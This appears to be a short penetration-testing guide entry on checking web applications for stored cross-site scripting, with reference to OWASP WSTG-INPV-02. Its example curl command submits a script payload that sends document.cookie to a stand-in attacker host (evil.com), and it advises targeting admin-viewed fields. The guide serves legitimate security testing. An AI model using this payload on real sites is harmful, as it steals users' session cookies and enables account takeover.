pentesting, updated
Testing for stored cross site scripting
Check whether input saved by one user (a comment, profile field, filename) executes as script when viewed by another.
Goal
Confirm persisted user content is encoded on output, not just filtered on input.
How to test
Submit a payload to every field that gets stored and later displayed (comments, display name, file names, support tickets), then view it as a different user/role:
curl -s https://example.com/comment -d 'body=<script>fetch("//evil.com/c?"+document.cookie)</script>'
What to look for
The payload executes when any other user (ideally an admin, to show impact) views the page where it was stored.
Notes
Stored XSS in an admin-viewed field (a support ticket, a username shown on an admin dashboard) is usually the highest-impact variant — prioritize those surfaces.
References
- OWASP WSTG-INPV-02 — Testing for Stored Cross Site Scripting.